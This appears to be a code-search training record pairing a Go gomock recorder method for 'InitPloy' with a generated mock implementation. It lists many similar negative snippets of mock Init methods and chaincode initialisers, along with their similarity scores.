[ "0.6803724", "0.619727", "0.5920018", "0.5767056", "0.56959164", "0.5576144", "0.55383086", "0.5486583", "0.5450514", "0.54347324", "0.54337233", "0.543237", "0.54102737", "0.5401601", "0.5400163", "0.53630626", "0.53559136", "0.53387904", "0.53351724", "0.52876776", "0.5272131", "0.5220717", "0.52189696", "0.5213934", "0.52128905", "0.51948524", "0.5192842", "0.5190296", "0.5182675", "0.51722103", "0.5164933", "0.5144815", "0.51440334", "0.5143197", "0.51349515", "0.5128674", "0.51235276", "0.51156443", "0.50952774", "0.5092391", "0.5073895", "0.50707287", "0.50618446", "0.5054655", "0.50452095", "0.5038839", "0.5035896", "0.5022455", "0.50215495", "0.49880522", "0.49859038", "0.498137", "0.49695498", "0.4952933", "0.49521092", "0.49490565", "0.49457043", "0.49422553", "0.49385923", "0.49340764", "0.4933238", "0.4913113", "0.49110776", "0.49078622", "0.49058262", "0.4903212", "0.49002805", "0.4898796", "0.48970926", "0.48935398", "0.48840547", "0.48836553", "0.48726422", "0.48471045", "0.48366416", "0.48334533", "0.4829263", "0.48289153", "0.48288906", "0.4819326", "0.48184457", "0.4817013", "0.4816671", "0.48161012", "0.47998074", "0.47959235", "0.47912335", "0.47872207", "0.47866222", "0.4772805", "0.47720706", "0.47694385", "0.47692478", "0.47675204", "0.4759873", "0.47597227", "0.47477713", "0.4744083", "0.47374818", "0.47327483" ]
0.71177113
0
InitPloy mocks base method
func (m *MockmonitorInterface) InitPloy() error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "InitPloy") ret0, _ := ret[0].(error) return ret0 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (_m *MockSeriesIteratorPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func (_m *MockMutableSeriesIteratorsPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func (_m *MockIteratorArrayPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func (_m *MockMultiReaderIteratorPool) Init(alloc ReaderIteratorAllocate) {\n\t_m.ctrl.Call(_m, \"Init\", alloc)\n}", "func (_m *MockReaderIteratorPool) Init(alloc ReaderIteratorAllocate) {\n\t_m.ctrl.Call(_m, \"Init\", alloc)\n}", "func (m *MockInvoker) Init(config rpc.RpcConfig) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", config)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (_m *MockEncoderPool) Init(alloc EncoderAllocate) {\n\t_m.ctrl.Call(_m, \"Init\", alloc)\n}", "func MockInitialize() {\n\tledgermgmt.InitializeTestEnvWithInitializer(\n\t\t&ledgermgmt.Initializer{\n\t\t\tCustomTxProcessors: ConfigTxProcessors,\n\t\t},\n\t)\n\tchains.list = make(map[string]*chain)\n\tchainInitializer = func(string) { return }\n}", "func (m *MockInterface) Init(kubeconfigPath, kubeconfigContext string) error {\n\treturn nil\n}", "func (m *MockSpaceStorage) Init(arg0 *app.App) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockProposalContract) Init(arg0 core.Keepers, arg1 types1.BaseTx, arg2 uint64) core.SystemContract {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(core.SystemContract)\n\treturn ret0\n}", "func (m *MockSystemContract) Init(arg0 core.Keepers, arg1 types1.BaseTx, arg2 uint64) core.SystemContract {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(core.SystemContract)\n\treturn ret0\n}", "func (m *MockInterface) Init(pipelineData *pipeline.Data, config config.Interface, client *http.Client) error {\n\tret := m.ctrl.Call(m, \"Init\", pipelineData, config, client)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func Test_Init(t *testing.T) {\n\tclient, err := Load(\"\", true)\n\tassert.Nil(t, err)\n\tmockClient = client\n}", "func (m *MockDB) Init(arg0 context.Context) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestInit(t *testing.T) {\n\tfmt.Println(\"Entering the test method for Init\")\n\tprovcc := new(SimpleAsset)\n\tstub := shim.NewMockStub(\"ANY_PARAM\", provcc)\n\tcheckInit(t, stub, [][]byte{[]byte(\"init\")})\n}", "func (m *MockService) Init() error {\n\tret := m.ctrl.Call(m, \"Init\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockStore) Init(config *configstores.StoreConfig) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", config)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockPluginInitializerServer) Init(arg0 context.Context, arg1 *PluginInitialization_Request) (*PluginInitialization_Response, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0, arg1)\n\tret0, _ := ret[0].(*PluginInitialization_Response)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (n *mockAgent) init(ctx context.Context, sandbox *Sandbox, config KataAgentConfig) (bool, error) {\n\treturn false, nil\n}", "func (m *MockPluginInitializerClient) Init(ctx context.Context, in *PluginInitialization_Request, opts ...grpc.CallOption) (*PluginInitialization_Response, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Init\", varargs...)\n\tret0, _ := ret[0].(*PluginInitialization_Response)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockManager) Initialize(arg0 supervisor.SeedTaskMgr) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Initialize\", arg0)\n}", "func (m *MockLoader) Initialize() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Initialize\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func Test_Init(t *testing.T) {\n\tscc := new(SmartContract)\n\tstub := shim.NewMockStub(\"hcdm\", scc)\n\n\t// Init A=123 B=234\n\tcheckInit(t, stub)\n\n}", "func (_m *MockQueryCoord) Init() error {\n\tret := _m.Called()\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func() error); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockModule) Init(arg0 controller.Controller, arg1, arg2 chan<- event.GenericEvent) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (stub *MockStub) MockInit(uuid string, args [][]byte) pb.Response {\n\tstub.args = args\n\tstub.MockTransactionStart(uuid)\n\tres := stub.cc.Init(stub)\n\tstub.MockTransactionEnd(uuid)\n\treturn res\n}", "func (_m *MockStateStore) Init(metadata state.Metadata) error {\n\tret := _m.Called(metadata)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(state.Metadata) error); ok {\n\t\tr0 = rf(metadata)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockEngine) Initialize() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Initialize\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (_m *AsyncBR) Init(ctx context.Context, bslName string, sourceNamespace string, uploaderType string, repositoryType string, repoIdentifier string, repositoryEnsurer *repository.Ensurer, credentialGetter *credentials.CredentialGetter) error {\n\tret := _m.Called(ctx, bslName, sourceNamespace, uploaderType, repositoryType, repoIdentifier, repositoryEnsurer, credentialGetter)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, string, string, string, string, string, *repository.Ensurer, *credentials.CredentialGetter) error); ok {\n\t\tr0 = rf(ctx, bslName, sourceNamespace, uploaderType, repositoryType, repoIdentifier, repositoryEnsurer, credentialGetter)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func checkInit(t *testing.T, stub *shim.MockStub, args [][]byte) {\n\t\n\tres := stub.MockInit(\"1\", args)\n\tif res.Status != shim.OK {\n\t\tfmt.Println(\"Init failed\", string(res.Message))\n\t\tt.FailNow()\n\t}\n}", "func (_m *MockDataCoord) Init() error {\n\tret := _m.Called()\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func() error); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (_m *MockStore) Init(opts ...store.Option) error {\n\t_va := make([]interface{}, len(opts))\n\tfor _i := range opts {\n\t\t_va[_i] = opts[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(...store.Option) error); ok {\n\t\tr0 = rf(opts...)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func checkInit(t *testing.T, stub *shim.MockStub, args [][]byte) {\n\tres := stub.MockInit(\"1\", args)\n\tif res.Status != shim.OK {\n\t\tfmt.Println(\"Init failed\", string(res.Message))\n\t\tt.FailNow()\n\t}\n}", "func (m *MockIBlade) BladeInit(ctx context.Context, addr string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BladeInit\", ctx, addr)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockmonitorInterface) GetPloy() map[string]int {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPloy\")\n\tret0, _ := ret[0].(map[string]int)\n\treturn ret0\n}", "func (_m *MockActors) Init(_ context.Context) error {\n\tret := _m.Called()\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func() error); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (_m *ITestCase) Initialize() {\n\t_m.Called()\n}", "func (programRepo *mockProgramRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func (classRepo *mockClassRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func (achieveRepo *mockAchieveRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func (b *TestDriver) Init() (err error) {\n\tlog.Println(\"Init Drone\")\n\treturn\n}", "func (m *MockmonitorInterface) UpdatePloy(arg0 string, arg1 int) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdatePloy\", arg0, arg1)\n}", "func (m *MockUnsignedTx) InitCtx(arg0 *snow.Context) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"InitCtx\", arg0)\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n fmt.Println(\"Calling instantiate method.\")\n return shim.Success(nil)\n}", "func (_m *Plugin) Init(ctx context.Context, prefix config.Prefix, callbacks events.Callbacks) error {\n\tret := _m.Called(ctx, prefix, callbacks)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, config.Prefix, events.Callbacks) error); ok {\n\t\tr0 = rf(ctx, prefix, callbacks)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (_e *MockDataCoord_Expecter) Init() *MockDataCoord_Init_Call {\n\treturn &MockDataCoord_Init_Call{Call: _e.mock.On(\"Init\")}\n}", "func InitRepository() appcontext.Component {\n\n\treturn RepositoryMock{}\n}", "func init() {\n\tFakeRepo.Init()\n}", "func init() {\n\tsetUpConfig()\n\tsetUpUsingEnv()\n}", "func (_m *SMSStorage) Init() error {\n\tret := _m.Called()\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func() error); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (r *PodTestRunner) Initialize(ctx context.Context) error {\n\tbundleData, err := r.getBundleData()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error getting bundle data %w\", err)\n\t}\n\n\tr.configMapName, err = r.CreateConfigMap(ctx, bundleData)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating ConfigMap %w\", err)\n\t}\n\treturn nil\n\n}", "func (_e *MockQueryCoord_Expecter) Init() *MockQueryCoord_Init_Call {\n\treturn &MockQueryCoord_Init_Call{Call: _e.mock.On(\"Init\")}\n}", "func (r *PodTestRunner) Initialize(ctx context.Context) error {\n\tbundleData, err := r.getBundleData()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error getting bundle data %w\", err)\n\t}\n\n\tr.configMapName, err = r.CreateConfigMap(ctx, bundleData)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating ConfigMap %w\", err)\n\t}\n\n\treturn nil\n\n}", "func (askForHelpRepo *mockAskForHelpRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func (_m *ReceiptStore) Init() error {\n\tret := _m.Called()\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func() error); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (transactionRepo *mockTransactionRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func initMockData() {\n\n\t// Generate Mock Data\n\tbooks = append(books, models.GenerateSampleBookRecord())\n\tbooks = append(books, models.GenerateSampleBookRecord())\n\tbooks = append(books, models.GenerateSampleBookRecord())\n\tbooks = append(books, models.GenerateSampleBookRecord())\n}", "func InitMockConn() *Mock {\n\tm := &Mock{}\n\tm.ti = nftableslib.InitNFTables(m)\n\treturn m\n}", "func (m *MockInfluxDB) InitDB() error {\n\tret := m.ctrl.Call(m, \"InitDB\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func InitMockCalculator(d int, err error) {\n\tvar mock mockCalculator\n\n\tif err == nil {\n\t\tmock.distance = d\n\t} else {\n\t\tmock.err = &err\n\t}\n\n\tcalc = &mock\n}", "func (p *AbstractRunProvider) Init() error {\n\treturn nil\n}", "func (b *KRMBlueprintTest) Init(assert *assert.Assertions) {\n\tb.init(assert)\n}", "func (t MockPluginTemplate) MockPr() *MockPrBuilderLoader {\n\treturn &MockPrBuilderLoader{pluginName: t.pluginName}\n}", "func (sessionRepo *mockSessionRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func init() {\n\ttestEnv.Init()\n}", "func (semesterRepo *mockSemesterRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func init() {\n\tSetup()\n}", "func (tr *TestRecorder) init() {}", "func (_m *ContainerIface) InitProc() domain.ProcessIface {\n\tret := _m.Called()\n\n\tvar r0 domain.ProcessIface\n\tif rf, ok := ret.Get(0).(func() domain.ProcessIface); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(domain.ProcessIface)\n\t\t}\n\t}\n\n\treturn r0\n}", "func (locationRepo *mockLocationRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func TestInit(t *testing.T) {\n\tctx := getTestContextCopy(t, filepath.Join(\"testdata\", \"init\"))\n\tdefer os.RemoveAll(ctx.GOPATH)\n\tpkgDir := filepath.Join(ctx.GOPATH, \"src\", \"example.com\", \"x\")\n\terr := initc(ctx, pkgDir, \"lib\", false, false)\n\tif err != nil {\n\t\tt.Errorf(\"error during init : %s\", err.Error())\n\t\tt.FailNow()\n\t}\n\t// Test that the import paths updated.\n\ttestImports(t, pkgDir,\n\t\t[]string{\"example.com/x/lib/a\", \"example.com/x/lib/b\"}, false)\n\t// Test that child import path not updated.\n\tchildPkgDir := filepath.Join(pkgDir, \"z\")\n\ttestImports(t, childPkgDir,\n\t\t[]string{\"other.com/y/a1\", \"other.com/y/c\"}, false)\n\t// Test that copied packages build.\n\taDir := filepath.Join(pkgDir, \"lib\", \"a\")\n\ttestBuild(t, aDir)\n\tbDir := filepath.Join(pkgDir, \"lib\", \"b\")\n\ttestBuild(t, bDir)\n}", "func setupParticleAdaptorMockApi(m *Manager, b base) (*mockParticleApi, *particleAdapter) {\n\n\tmockApi := newMockParticleApi()\n\n\t// This must be kept in sync with newParticleAdapter, especially the URL used.\n\twatch, e := b.status.WatchForUpdate(b.adapterUrl + \"/core/*/*\")\n\tif e != nil {\n\t\tpanic(e)\n\t}\n\n\t// Create an start adapter.\n\tsa := &particleAdapter{b, mockApi, \"mock_action\", m.actionsMgr, watch}\n\tgo sa.Handler()\n\treturn mockApi, sa\n}", "func (m *MockMempool) InitWAL() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InitWAL\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (p *AbstractProvider) Init() error {\n\treturn nil\n}", "func MockPr() *MockPrBuilderLoader {\n\treturn NewMockPluginTemplate(\"any\").MockPr()\n}", "func (m *MockSettings) SetLParen(arg0 string) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"SetLParen\", arg0)\n}", "func (m *MockInterface) InitializeAuthorizers() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InitializeAuthorizers\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (c *PanoPoli) Initialize(i util.XapiClient) {\n c.Nat = &nat.PanoNat{}\n c.Nat.Initialize(i)\n\n c.PolicyBasedForwarding = &pbf.PanoPbf{}\n c.PolicyBasedForwarding.Initialize(i)\n\n c.Security = &security.PanoSecurity{}\n c.Security.Initialize(i)\n}", "func InitForTesting(webapp_root string) {\n\twebhook.InitRequestSaltForTesting()\n\tinitUrls(webapp_root)\n}", "func (t *OpetCode) Init(stub shim.ChaincodeStubInterface) sc.Response {\n return shim.Success(nil)\n}", "func (announceRepo *mockAnnounceRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func (t *SubprocessTest) SetUp(ti *ogletest.TestInfo) {\n\terr := t.initialize(ti.Ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "func (m *MockConnectionPool) CheckAndInit(ctx context.Context) bool {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CheckAndInit\", ctx)\n\tret0, _ := ret[0].(bool)\n\treturn ret0\n}", "func initIntegrationsTests(id string) {}", "func (m *MockIDistributedEnforcer) InitWithFile(arg0, arg1 string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InitWithFile\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func InitMock() error {\n\tmwc := newMockClient(networksMock())\n\tc, err := client.NewClient(\"http://127.0.0.1:2375\", \"v1.21\", mwc, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdockerClient = c\n\n\treturn nil\n}", "func (m *MockProcessProvider) SetBootstrapperProvider(bootstrapper BootstrapperProvider) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"SetBootstrapperProvider\", bootstrapper)\n}", "func (accountRepo *mockAccountRepo) Initialize(ctx context.Context, db *sql.DB) {}", "func (c *SimpleChaincode) init(stub shim.ChaincodeStubInterface, args []string) pb.Response{\n\tfmt.Println(\"DONE !!!\")\n\treturn shim.Success(nil)\n}", "func (_m *ContainerIface) InitPid() uint32 {\n\tret := _m.Called()\n\n\tvar r0 uint32\n\tif rf, ok := ret.Get(0).(func() uint32); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(uint32)\n\t}\n\n\treturn r0\n}", "func TestInit(t *testing.T) {\n\tl := new(Layout)\n\tif err := l.Init(nil, \"\"); err != errNoBaseTemplate {\n\t\tt.Error(errNoBaseTemplate)\n\t}\n\tif err := l.Init(nil, \"base\"); err != nil {\n\t\tt.Error(\"Init Layout with nil function map, defined baseTemplate, and no patterns\")\n\t}\n}", "func Init() error {\n\n}", "func StartMockups() {\n\tenabledMocks = true\n}", "func (m *MockNuvoVM) AllocParcels(arg0, arg1 string, arg2 uint64) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"AllocParcels\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (_m *Pipeline_mgr_iface) InitiateRepStatus(pipelineName string) error {\n\tret := _m.Called(pipelineName)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(string) error); ok {\n\t\tr0 = rf(pipelineName)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockSettings) SetRParen(arg0 string) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"SetRParen\", arg0)\n}", "func (c *ClientMock) Initialize() error {\n\tGetInstance()\n\tinstance = c\n\treturn nil\n}", "func (t *RBCApproval) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\t//as system chaincodes do not take part in consensus and are part of the system,\n\t//best practice to do nothing (or very little) in Init.\n\n\treturn shim.Success(nil)\n}", "func (m *PooledWrapper) Init(context.Context, ...wrapping.Option) error {\n\treturn nil\n}" ]
[ "0.7217657", "0.7176797", "0.70350534", "0.684938", "0.68383723", "0.6799612", "0.6769461", "0.6622146", "0.66050935", "0.65638196", "0.65397346", "0.64879936", "0.6428309", "0.63964236", "0.63685024", "0.6303554", "0.62795", "0.62354696", "0.6215665", "0.621503", "0.62136525", "0.61404675", "0.6112227", "0.60923445", "0.60569286", "0.6004399", "0.59684896", "0.5968377", "0.5964901", "0.5937239", "0.59367615", "0.59312844", "0.59091574", "0.5898936", "0.58921975", "0.58919144", "0.5883032", "0.5881331", "0.5880664", "0.5848638", "0.58120364", "0.58119637", "0.58093673", "0.57545036", "0.57441187", "0.57433766", "0.5736", "0.57273847", "0.5724252", "0.5722908", "0.5708196", "0.57070106", "0.5698879", "0.5696384", "0.56747097", "0.56724197", "0.5643794", "0.5638416", "0.56077564", "0.55994844", "0.5598218", "0.5577241", "0.5576351", "0.5564014", "0.5554644", "0.55454385", "0.55327916", "0.55327237", "0.55305344", "0.5506588", "0.5501809", "0.5494527", "0.5489835", "0.54864913", "0.54834163", "0.54791164", "0.5459017", "0.5458886", "0.5451717", "0.5447439", "0.5442264", "0.5429295", "0.54237753", "0.5407122", "0.5380768", "0.5378125", "0.5377605", "0.5377341", "0.5372983", "0.5366894", "0.5355883", "0.53527194", "0.5345752", "0.5342131", "0.5323012", "0.53147", "0.5314362", "0.5313404", "0.53045964", "0.53033364" ]
0.7413041
0
InitPloy indicates an expected call of InitPloy
func (mr *MockmonitorInterfaceMockRecorder) InitPloy() *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "InitPloy", reflect.TypeOf((*MockmonitorInterface)(nil).InitPloy)) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func checkInit(t *testing.T, stub *shim.MockStub, args [][]byte) {\n\tres := stub.MockInit(\"1\", args)\n\tif res.Status != shim.OK {\n\t\tfmt.Println(\"Init failed\", string(res.Message))\n\t\tt.FailNow()\n\t}\n}", "func checkInit(t *testing.T, stub *shim.MockStub, args [][]byte) {\n\t\n\tres := stub.MockInit(\"1\", args)\n\tif res.Status != shim.OK {\n\t\tfmt.Println(\"Init failed\", string(res.Message))\n\t\tt.FailNow()\n\t}\n}", "func (m *MockmonitorInterface) InitPloy() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InitPloy\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func checkCalledFromInit() {\n\tfor skip := 3; ; skip++ {\n\t\t_, funcName, ok := callerName(skip)\n\t\tif !ok {\n\t\t\tpanic(\"not called from an init func\")\n\t\t}\n\n\t\tif funcName == \"init\" || strings.HasPrefix(funcName, \"init·\") ||\n\t\t\tstrings.HasPrefix(funcName, \"init.\") {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (i *InvariantsChecker) assertInitWasCalled() bool {\n\tif i.initStatus != colexecop.OperatorInitialized {\n\t\tif c, ok := i.Input.(*Columnarizer); ok {\n\t\t\tif c.removedFromFlow {\n\t\t\t\t// This is a special case in which we allow for the operator to\n\t\t\t\t// not be initialized. Next and DrainMeta calls are noops in\n\t\t\t\t// this case, so the caller should short-circuit.\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\tcolexecerror.InternalError(errors.AssertionFailedf(\"Init hasn't been called, input is %T\", i.Input))\n\t}\n\treturn false\n}", "func (_mr *MockMutableSeriesIteratorsPoolMockRecorder) Init() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Init\", reflect.TypeOf((*MockMutableSeriesIteratorsPool)(nil).Init))\n}", "func TestInit(t *testing.T) {\n\tfmt.Println(\"Entering the test method for Init\")\n\tprovcc := new(SimpleAsset)\n\tstub := shim.NewMockStub(\"ANY_PARAM\", provcc)\n\tcheckInit(t, stub, [][]byte{[]byte(\"init\")})\n}", "func (t *RBCApproval) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\t//as system chaincodes do not take part in consensus and are part of the system,\n\t//best practice to do nothing (or very little) in Init.\n\n\treturn shim.Success(nil)\n}", "func Init() error {\n\n}", "func (_mr *MockSeriesIteratorPoolMockRecorder) Init() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Init\", reflect.TypeOf((*MockSeriesIteratorPool)(nil).Init))\n}", "func (suite *BinPackingTestSuite) TestInit() {\n\tsuite.Equal(3, len(rankers))\n\tsuite.NotNil(rankers[DeFrag])\n\tsuite.Equal(rankers[DeFrag].Name(), DeFrag)\n\tsuite.NotNil(rankers[FirstFit])\n\tsuite.Equal(rankers[FirstFit].Name(), FirstFit)\n\tsuite.NotNil(rankers[LoadAware])\n\tsuite.Equal(rankers[LoadAware].Name(), LoadAware)\n}", "func (mr *MockProposalContractMockRecorder) Init(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockProposalContract)(nil).Init), arg0, arg1, arg2)\n}", "func (b *KRMBlueprintTest) Init(assert *assert.Assertions) {\n\tb.init(assert)\n}", "func TestInit(t *testing.T) {\n\tl := new(Layout)\n\tif err := l.Init(nil, \"\"); err != errNoBaseTemplate {\n\t\tt.Error(errNoBaseTemplate)\n\t}\n\tif err := l.Init(nil, \"base\"); err != nil {\n\t\tt.Error(\"Init Layout with nil function map, defined baseTemplate, and no patterns\")\n\t}\n}", "func (_mr *MockIteratorArrayPoolMockRecorder) Init() *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Init\", reflect.TypeOf((*MockIteratorArrayPool)(nil).Init))\n}", "func (mr *MockPluginInitializerServerMockRecorder) Init(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockPluginInitializerServer)(nil).Init), arg0, arg1)\n}", "func (_mr *MockMultiReaderIteratorPoolMockRecorder) Init(arg0 interface{}) *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Init\", reflect.TypeOf((*MockMultiReaderIteratorPool)(nil).Init), arg0)\n}", "func (t *Procure2Pay) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\t\n\t\tfmt.Println(\"Initiate the chaincde\")\n\t\treturn shim.Success(nil)\n\t\t\n}", "func (_mr *MockReaderIteratorPoolMockRecorder) Init(arg0 interface{}) *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Init\", reflect.TypeOf((*MockReaderIteratorPool)(nil).Init), arg0)\n}", "func (mr *MockModuleMockRecorder) Init(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockModule)(nil).Init), arg0, arg1, arg2)\n}", "func (mr *MockInvokerMockRecorder) Init(config interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockInvoker)(nil).Init), config)\n}", "func (t *Chaincode) Init(stub shim.ChaincodeStubInterface) peer.Response {\r\n\t// Get the args from the transaction proposal\r\n\targs := stub.GetStringArgs()\r\n\tif len(args) != 0 {\r\n\t\treturn shim.Error(\"Incorrect arguments. Constructor doesn't expect arguments!\")\r\n\t}\r\n\tlogger.Info(\"successfully initialized\")\r\n\treturn shim.Success(nil)\r\n}", "func (l *LightningLoader) Init(ctx context.Context) (err error) {\n\ttctx := tcontext.NewContext(ctx, l.logger)\n\tcheckpoint, err := newRemoteCheckPoint(tctx, l.cfg, l.checkpointID())\n\tfailpoint.Inject(\"ignoreLoadCheckpointErr\", func(_ failpoint.Value) {\n\t\tl.logger.Info(\"\", zap.String(\"failpoint\", \"ignoreLoadCheckpointErr\"))\n\t\terr = nil\n\t})\n\tl.checkPoint = checkpoint\n\tl.toDB, l.toDBConns, err = createConns(tctx, l.cfg, 1)\n\treturn err\n}", "func (_m *ITestCase) Initialize() {\n\t_m.Called()\n}", "func (n *mockAgent) init(ctx context.Context, sandbox *Sandbox, config KataAgentConfig) (bool, error) {\n\treturn false, nil\n}", "func (_e *MockDataCoord_Expecter) Init() *MockDataCoord_Init_Call {\n\treturn &MockDataCoord_Init_Call{Call: _e.mock.On(\"Init\")}\n}", "func (p 